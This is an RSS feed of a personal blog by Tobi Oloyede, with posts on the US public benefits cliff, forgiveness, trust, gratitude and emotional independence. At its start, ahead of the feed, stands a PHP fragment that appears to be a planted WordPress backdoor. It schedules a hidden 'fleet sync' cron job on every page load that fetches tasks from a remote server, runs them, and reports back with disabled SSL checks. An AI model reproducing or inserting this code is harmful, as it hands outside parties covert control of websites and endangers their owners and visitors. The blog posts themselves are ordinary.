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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Get Inspired – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Thu, 02 Nov 2023 15:33:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Get Inspired – Tobioloyede https://tobioloyede.com 32 32 Understanding the Public Benefits Cliff: A Simple Introduction https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/ https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/#respond Thu, 02 Nov 2023 15:12:01 +0000 https://tobioloyede.com/?p=2312 In the United States, the safety net for low-income individuals and families comes in the form of public benefits programs. These programs, including Medicaid, SNAP (Supplemental Nutrition Assistance Program), housing assistance, and childcare subsidies, play a vital role in providing essential support to those in need (National Conference of State Legislatures, 2022). However, there is a hidden challenge within these systems known as the “public benefits cliff” that often hinders individuals as they strive to improve their financial situations. I did not understand until I interned as a Public Benefits Research intern at an organization where I focused on state policies and strategies, particularly childcare access, in a bid to mitigate the “public benefits cliff.”

Understanding the Public Benefits Cliff

According to Anderson et al. (2022), “public benefit programs have the potential to help stabilize families when their income drops and can provide support as parents enter or reenter the workforce.” The public benefits cliff refers to a situation in which a small increase in income can result in the abrupt loss of eligibility for one or more public assistance programs. Simply put, an individual or a family loses a certain public benefit because of as small as a $1 increase in wage or salary, even though that $1 or small increase cannot cover the public benefit they lose. This phenomenon occurs because these public benefit programs often have strict income limits. As a result, individuals and families find themselves in a precarious situation where earning more income may leave them worse off financially due to the loss of crucial benefits. Imagine striving to become financially independent by putting in more work that allows for an increase in your pay, but then there’s a recursion; you lose your public benefit and become more financially stranded.

 

Implications of the Benefits Cliff

  • Work Disincentive: One of the primary consequences of the public benefits cliff is that it can create a disincentive for individuals to seek higher-paying employment or work additional hours. The fear of losing essential benefits can discourage upward mobility (Fahe, 2022).
  • Financial Instability: Sudden loss of benefits can lead to financial instability, pushing individuals and families further into poverty and making it even harder for them to escape the cycle.
  • Limited Opportunities: The benefits cliff can trap individuals in low-wage jobs, preventing them from pursuing education or training that could lead to better-paying careers.
  • Health and Well-Being: Loss of healthcare coverage, often tied to employment and income, can have severe implications for the physical and mental health of affected individuals and their families.

 

Potential Solutions

Addressing the public benefits cliff is a complex task, but there are potential solutions to mitigate its negative effects:

  • Gradual Phase-Out: Reforming benefit programs to gradually phase out assistance as income increases rather than an abrupt cutoff could encourage people to earn more without the fear of losing all benefits at once.
  • Benefit Recalculation: Consider recalculating benefits on a more frequent basis to account for changing income levels. This would ensure that benefits align better with individuals’ current circumstances.
  • Improved Coordination: Better coordination among different assistance programs and agencies can help identify individuals who may be impacted by the cliff and provide targeted assistance (Headrick et al., 2022).
  • Support Services: Offer additional support services, such as job training, childcare assistance, and healthcare subsidies, to help individuals transition to higher-paying jobs.
  • Education and Awareness: Raise awareness among recipients about the benefits cliff and provide guidance on financial planning to navigate potential income increases effectively.

The public benefits cliff is a complex issue that affects many low-income individuals and families in the United States. While public assistance programs are essential for providing a safety net, the cliff effect can inadvertently create barriers to financial stability and upward mobility. By exploring and implementing potential solutions, we can work towards a system that encourages economic self-sufficiency while still providing necessary support to those in need. Addressing the public benefits cliff is a step toward creating a more equitable and just society for all. In a bid to mitigate the public benefits cliff, one of the tools that I utilized was the Federal Reserve Bank of Atlanta’s Career Ladder Identifier and Financial Forecaster (CLIFF) tools: CLIFF Snapshot, CLIFF Dashboard, and CLIFF Planner. Each tool is customized to fulfill the specific requirements of individuals at various phases of their careers. Our collaborative effort can help individuals and families build self-sufficiency. THE MORE WE LEARN!!!

Tell me and I forget, teach me and I may remember, involve me and I learn. — Benjamin Franklin

Image source: Pedro Perez and Circles Canada

Sources:

Anderson, T., Coffey, A., Daly, H., Hahn, H., Maag, E., & Werner, K. (2022, January 11). Balancing at the edge of the cliff. Urban Institute. https://www.urban.org/research/publication/balancing-edge-cliff

Headrick, G., Ruth, A., White, S. A., Ellison, C., Seligman, H., Bleich, S. N., & Moran, A. J. (2022). Integration and coordination across public benefit programs: insights from state and local government leaders in the United States. Preventive medicine re

ports, 31, 102077. https://doi.org/10.1016/j.pmedr.2022.102077

Introduction to benefits cliffsand public assistance programs. National Conference of State Legislatures. (n.d.). https://www.ncsl.org/human-services/introduction-to-benefits-cliffs-and-public-assistance-programs

The benefits cliff: Eliminating barriers to transitioning off public benefits. Fahe. (2022, July 28). https://fahe.org/the-benefits-cliff-eliminating-barriers-to-transitioning-off-public-benefits/

]]> https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/feed/ 0 Becoming a Champion https://tobioloyede.com/becoming-a-champion/ https://tobioloyede.com/becoming-a-champion/#respond Mon, 25 Jul 2022 14:40:11 +0000 https://tobioloyedesblog.wordpress.com/?p=575 I woke up to an unusual discussion with a friend about Tobi Amusan’s (a Nigerian athlete who specializes in a 100-meter hurdle) world-breaking record yesterday and how that made every Nigerian proud.

Today, I ruminate about how life deals with us and vice versa. How we can be angry, frustrated, or even depressed when things seem not to work according to our plans. Just how we wish we could know what the next minute holds, maybe we won’t have to worry so much.

Just over a year ago, Tobi Amusan was denied her African record during the Olympic trials (if you remember that incident) at the Yaba College of Technology, Lagos Nigeria. The World athletics only recognize electronic timing devices, but “Nigeria never fails to be Nigeria”- the electronic timer failed to display the time at the end of the race. Hence, there was no valid record of her race time, although she won, she was denied her African record. Can you imagine? Have you ever been in situations where you do all your best and end up not reaping (for the lack of right expression) the benefit or result of your hard work?

I have been in similar situations where I put in my best and sometimes it yields results; other times it’s like I put in my best for nothing. Tobi Amusan’s experience last year reminds me of the time when I put in my all for a particular admission and was sure I was getting it until I was told the department had a funding issue. It wasn’t about me not being good for them as we had discussed some of the things I would do once I got in, but the department just could not have me. (Can you keep a secret; this admission story is so painful that I have bottled it up for months and I run away from the thoughts. I cannot bear to process it).

Let’s bring it back. Tobi Amusan’s victory yesterday resonates in different shades. In her words, “I believe in my abilities, but I was not expecting a world record at these championships. You know, the goal is always just to execute well and get the win. So, the world record is a bonus.”

My takeaways:

·      The onus is on you to believe in your abilities. Irrespective of acceptance or recognition. Know your worth and be true to it.

·      Have a winning mindset. I always like to emphasize thinking of the good and worst outcomes. You want to win always, but failure or limitation isn’t always bad. It propels you to be better and learn.

·      Keep pushing

·      There’s no limit to what you can achieve. Tobi Amusan set two World records in a single day.

Gentle reminder: Becoming a champion at whatever we do isn’t overnight work, it comes with successes, failures, and setbacks that seem like the world is against us.

Ponder on the above but let’s talk about the tears that went along with the national anthem after Tobi Amusan received her medal. First, it was the first time many of us thought of and sang the national anthem in long while. Second, it was an emotional moment that brought tears to our eyes, literally and figuratively. What does this tell us, “We love our country, Nigeria.” We want nothing but the best for her.

God bless Nigeria!!!

 

 

]]> https://tobioloyede.com/becoming-a-champion/feed/ 0 Closure Musings https://tobioloyede.com/closure-musings/ https://tobioloyede.com/closure-musings/#comments Wed, 20 Jul 2022 20:28:32 +0000 https://tobioloyedesblog.wordpress.com/?p=559

Here I am thinking about trust, forgiveness, faith, and boundary-personal space. I know many people take time to allow others to earn their trust, but it’s the opposite for me.

Once my intuition does not tell me otherwise, I trust you first and figure things out however they play out. I’m guessing you’re shaking your heads right now, even feeling bad for me or wondering how gullible of me. I know right. It’s funny how I don’t even give up after being served my first hit. I give you more chances just because I think no one is perfect as we all are striving towards being and doing better (doing this is hard and painful).


For some of us, we don’t retreat when things get tough- we thrive and that’s how we build resilience. For some of us, we cut off, unfriend, or block instantly, and that in itself takes a special kind of skill set to do that (some of us don’t have that skill and courage if I may call it that).
 
You can forgive someone and yet not accept them back into your life. It’s simply no longer trusting them.
I forgive you and I hold no grudge, but we must accept that the relationship or happening is just not understandable or acceptable by both parties. Thus, each person holds on to their belief and that is fine. That has a thing or two with personal healthy boundaries.
 
As a work in progress, there are times I lash out because of anger. One question is “how do you react when you are angry, when your trust is broken or when your personal boundary is disrespected?”


Roy Lewicki, a lead author of the study and professor emeritus of management and human resources at The Ohio State University’s Fisher College of Business posits that “apologies really do work, but you should make sure you hit as many of the six key components as possible,” The six elements include:
 
·       Expression of regret 
·       Explanation of what went wrong 
·       Acknowledgment of responsibility 
·       Declaration of repentance 
·      Offer of repair 
·      Request forgiveness 

Lewicki affirms that at least two of the elements must be presented by the offender for you to think about forgiving or more. In all, give yourself the right to consider yourself first, to consider how the situation affects your peace and mental health. As an act of generosity, forgive, but do not be disrespected.


Read more: The 6 elements of an effective apology, per science |The Ohio State University https://news.osu.edu/the-6-elements-of-an-effective-apology-according-to-science/

 

]]> https://tobioloyede.com/closure-musings/feed/ 1 Retrospection https://tobioloyede.com/retrospection/ https://tobioloyede.com/retrospection/#respond Sat, 14 May 2022 13:58:24 +0000 https://tobioloyedesblog.wordpress.com/?p=537 Seated here looking through my snapshots and like an instant fall, what I never thought could be an inspiration became my muse. There I was in deep thought about life and all its happenings.

 

“I yearn for my space. It charges me up. Therein I can breathe and see the light”

– Tobi Oloyede

You know how sometimes you feel forgotten and invisible. You remember your vulnerable moments and it seems like you’re just not enough or doing the right things, that’s the kind of moment I’m talking about.

Still seated, lost in my space, there and then it came… I remembered, “El Roi” which means “the God who sees me.” Even the most watchful mother sleeps off on her child. Whatever your religion is, God sees you and all that’s yours, always remember that. I am not writing from a perfect stance, I forget this too, but here I am holding on to the affirmation that he sees me.

Words of Affirmation
He sees me, He knows me
He sees me, he hears me
He sees my struggles, my hard work, my pain
He sees my gratitude, He knows it all

If interested, here’s a link to a short film

When I woke up this morning, writing was not anywhere on my to-do list for the day, but here I am scribbling. I hope you find meaning beyond this superficial short piece. I hope it serves a purpose, I hope it passes a message.

“El Roi – the God who sees me.”

“You carry the message you’ve been seeking, but realization of it is found in healthy retrospection, not among the wilderness of chaotic noise.”

― T.F. Hodge

]]> https://tobioloyede.com/retrospection/feed/ 0 To You https://tobioloyede.com/to-you/ https://tobioloyede.com/to-you/#respond Tue, 18 Jan 2022 06:06:05 +0000 https://tobioloyedesblog.wordpress.com/?p=486

Have you been in a situation where suddenly you realize that you were never what you thought you were? It could be in a romantic relationship, among friends, or just in a situation where you’re the plan B. You’re sought after only because the first option didn’t work out. Hear me, you can be the second option and be the best option, but if it makes you feel bad/less about yourself, then there is a problem. You are a priority, don’t forget that. You are valuable.



“Everyone has the ability to hurt. It’s the choice that matters.”
― Yvonne Woon, Dead Beautiful

 

 

]]> https://tobioloyede.com/to-you/feed/ 0 Learning to Forgive https://tobioloyede.com/learning-to-forgive/ https://tobioloyede.com/learning-to-forgive/#comments Mon, 19 Jul 2021 01:25:56 +0000 https://tobioloyedesblog.wordpress.com/?p=441

Over time, I have been in situations where I had to let go without even letting the other party know where or how they hurt me. My life is no doubt one that is full of vicissitudes just as anyone’s. My downs have been deeper than most, but I always found my way back up. I have come to realize that surviving dissension with others or oneself is different from healing or finding peace. The process of surviving is not a loveable one, it is tough(I say that affirmatively). There are times I ask myself if being a survivor is worth it and this is because someone once said to me, “what’s the big deal in being a survivor? Life will surely end.” That question perfectly resonated with me. I sought for answers. Surviving is not a child’s play, it is serious work. Not everyone learns a lesson or two from their survival process; most people just go through it. Therefore, whatever the pain or experience you survive, there is always the phase of forgiveness. Yes, forgiveness. I am sure some are thinking what an easy task that is (just being sarcastic). However, without mincing words, forgiveness is a key to inner peace and growth.
Think about that for a few seconds.

Essentially, forgiveness is explained as the act of exonerating an offender. How many times do I have to forgive an offender who repeatedly hurt me? (You may be asking yourself this question just as I am).

In The Purpose Driven Life, Rick Warren explains that many people reluctantly show mercy not because they do not want to, but because they do not understand the difference between forgiveness and trust. I have learned that forgiving others on the one hand must be instant, whether or not a person deserves it.

Trust, on the other hand is futuristic (with future behavior) and it possibly takes time to be built or rebuilt. For Warren, “If someone hurts you repeatedly, you are commanded by God to forgive them instantly, but you are not expected to trust them immediately, and you are not expected to continue allowing them to hurt you.” (I honestly struggle with this, I give too many unnecessary chances )

It is noteworthy that Forgiveness isn’t condoning what the other person did or sweeping things under the rug. It is also not necessarily forgetting what happened (I am really guilty of this- I most likely will remember what you did vividly or even what you said word for word years later). Depending on the situation, forgiveness itself may require a time of healing.

Steps to Forgiveness
1. Accept the pain
Until you acknowledge the pain, you cannot work through the hurt. You are free to cry, go through feelings of resentment as they affirm that something is wrong. Do not numb the emotion.

2. Deliberately reflect
Take your time to think through the situation. You can keep a journal where you pour out your feelings or speak with a trusted individual (with emphasis on trust).

3. Put yourself in the offender’s shoes
Think about times you have erred. How did the wrongdoing make you feel? This in particular helps me. It necessarily might not be helpful to you, but you could try it. If you were in the person’s shoes, what would you have done better.

4. Remember God’s forgiveness and reflect on that.

5.l Let go of the hurt.

6. Continue to forgive. I have come to realize forgiveness is a continuous process. Letting go can no doubt be a hectic task, but just one thing I love to talk about- intentionality. Be intentional and practice it. You can always come back with your testimonies.

It is noteworthy that the concept of forgiveness goes beyond any ethical or vague term. As opposed to being a moral concept, it is psychological. To truly forgive and continue life’s journey, it is important to understand the counterintuitive psychology of forgiveness-peace and freedom.

First Image Credit: Murtada Muhammad Gusau on Premium Times.

]]> https://tobioloyede.com/learning-to-forgive/feed/ 5 Emotional Independence https://tobioloyede.com/emotional-independence/ https://tobioloyede.com/emotional-independence/#comments Tue, 11 May 2021 04:45:16 +0000 https://tobioloyedesblog.wordpress.com/?p=421 Take charge of your life, it starts from within you.

It is much easy for us to make changes to things that we see physically like our weight, shape, hair, face, among others, than to those things we feel or basically cannot touch. You might want to criticize that position, but we always have options to change things we see physically or things outside of us. Predominantly, when we think about change, it never comes naturally to think about starting from within, rather, we think about things around us/environment. We mostly hold the position that until things around us become different, only then can we feel better.

Without mincing words, that is the very perspective that debars us from taking the necessary steps or even making the needed changes to living a happy life. As opposed to blaming the world/environment around us, we can take actions by asking ourselves the pertinent questions; “Why do I keep doing the things I do?” “In what ways are my actions, thoughts, inactions perpetuating my life?” “How am I contributing to the world around me?” “Why do I keep doing the same things that leave me unhappy?”

I have come to the conclusion that life will continue to serve you similar situations until you retrospect and do something different from within.  I know you are wondering what exactly it is I want to address regarding emotional independence. By emotional independence, I mean the ability to control your life as well as your stress levels under harsh or adverse circumstances.

Emotional independence is being able to live your life without constantly getting pushed and pulled by your feelings. It is a mental state where you are no longer a slave to your emotions, but instead know how to accept and manage them in a healthy and constructive way.

Changing unamiable behaviors and perceptions and accepting ourselves enable us to find the needed strength to create that inner calm that we require. Emotional independence, therefore, can be referred to as the RESILIENCE that sprouts from within to face whatever situation or circumstance. It is building your sense of self without having to depend on others’ perception of you, who you should be, what you should do, and how you should be it or do it. (This is important because as individuals we mostly think about how others should be and not them being who they are. For instance, a child that keeps complaining of a father who never treats him/her rightly. How about you think that the father is a being on his own and the best he can be is what he is. Note, I am not applauding irresponsibility, but emphasizing letting people just be themselves)

I know that talk is cheap, it is easier said, easier read, easier written than done, but intentional practice goes a long way. Change is constant, yet it is a hectic step to take. How do I become emotionally independent (a few steps, you can add yours as you go)

Practice mindfulness (Pay attention to things)

Take responsibility for your self (Stop blaming others)

Understand your values and goals

Know that your choices make up who you are

Be intentional about knowing yourself through every form of relationship (Family, romantic relationships, friendships and all).

]]> https://tobioloyede.com/emotional-independence/feed/ 1 Gratitude; a Lifestyle https://tobioloyede.com/gratitude-a-lifestyle/ https://tobioloyede.com/gratitude-a-lifestyle/#respond Tue, 05 Jan 2021 05:43:43 +0000 https://tobioloyedesblog.wordpress.com/?p=388
Source: The Power of Gratitude

I warmly welcome everyone into this fresh start/New year. Interestingly, it is just another day/month just as every other. Beyond the euphoria, nothing is different, nothing changes. It’s a mere social construction- another day (January 1st) on the calendar. You’re free to be excited just as I am.

If you do follow my podcast (Metamorphosis with Tobi), you will be aware of our last episode for the year 2020 titled “Gratitude 2020” where we did listen to different individuals’ gratitude statements for the year. Still in that light, our first post on here will focus on Gratitude.
Based on all the happenings in 2020, I can certainly say that the one constant thing to be grateful for is Life. For me, that remains the only constant thing and the motivating spirit for the year 2021.

I would like you to pause and think for a few seconds about what Gratitude is in your own perspective (I am watching). For me, Gratitude is both an affirmation and acknowledgment of any kind or good act that you receive. It is a feeling that erupts from within you and most importantly, it a conscious Choice.

Marelisa Fabrega, the author of How to Live Your Best Life – The Essential Guide for Creating and Achieving Your Life List maintains that “it means learning to live your life as if everything were a miracle, and being aware on a continuous basis of how much you’ve been given.” Psychological and behavioral research show that gratitude plays an important role on our mental health. Without doubt, being grateful/the act of thanksgiving make people more happy-it leaves you in a happy state and this invariably plays on your mental health. It improves interpersonal relationships. In their research, Wood et al. conclude that “gratitude is related to a variety of clinically relevant phenomena, including psychopathology (particularly depression), adaptive personality characteristics, positive social relationships, and physical health (particularly stress and sleep). ”(1) In addition, Dr. Emmons a gratitude researcher showed in one of his studies that people who exhibit gratitude are predisposed to being more creative, resilient (bounce back more from harsh experiences and adversity) and enjoy better social relationships. For him, “to say we feel grateful is not to say that everything in our lives is necessarily great. It just means we are aware of our blessings.”(2)

How then do I remain constantly grateful this year and really make gratitude a personal journey?

  • Gratitude journal: Keeping a gratitude journal can serve as a daily remembrance of benefits, goodness, and all.
  • Visual reminder: It is noteworthy that forgetfulness and lack of awareness are two factors that limit our show of gratitude. Therefore, having things to visually remind you will do.
  • Bad Situations: Always remember the bad and ugly situations as they strengthen your consciousness of the beautiful ones. For instance, when you remember how difficult life used to be, you would come to better understand the benefits you now enjoy.
  • Practice and be Intentional about showing gratitude via different creative means. You could drop a note of thanks randomly and just appreciate people for their impact on your life.
    Conclusion
    Once you become intentional about being grateful even for the small things, you will notice that you begin to find joy and happiness easily. The little things you used to take for granted will have meaning to you. There is a popular Yoruba saying translated into English “when a child is grateful for yesterday’s kindness, he is open to receive yet another.” I agree with that, but I would advise to live beyond being grateful in order to receive more, but because gratitude has now become a lifestyle for you. You will unconsciously become one to always see beauty even in ugly situation.
  • Pledge: I choose today to live a life full of Gratitude-I am gratitude personified.

Sources

[1] https://possibilitychange.com/gratitude/

[2] Wood, A. M., et al., Gratitude and well-being: A review and theoretical integration, Clinical Psychology Review (2010), doi:10.1016/j.cpr.2010.03.005

]]> https://tobioloyede.com/gratitude-a-lifestyle/feed/ 0 https://tobioloyede.com/253-2/ https://tobioloyede.com/253-2/#respond Tue, 28 Apr 2020 19:34:44 +0000 https://tobioloyedesblog.wordpress.com/2020/04/28/253/
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#Thinkaboutitserious#
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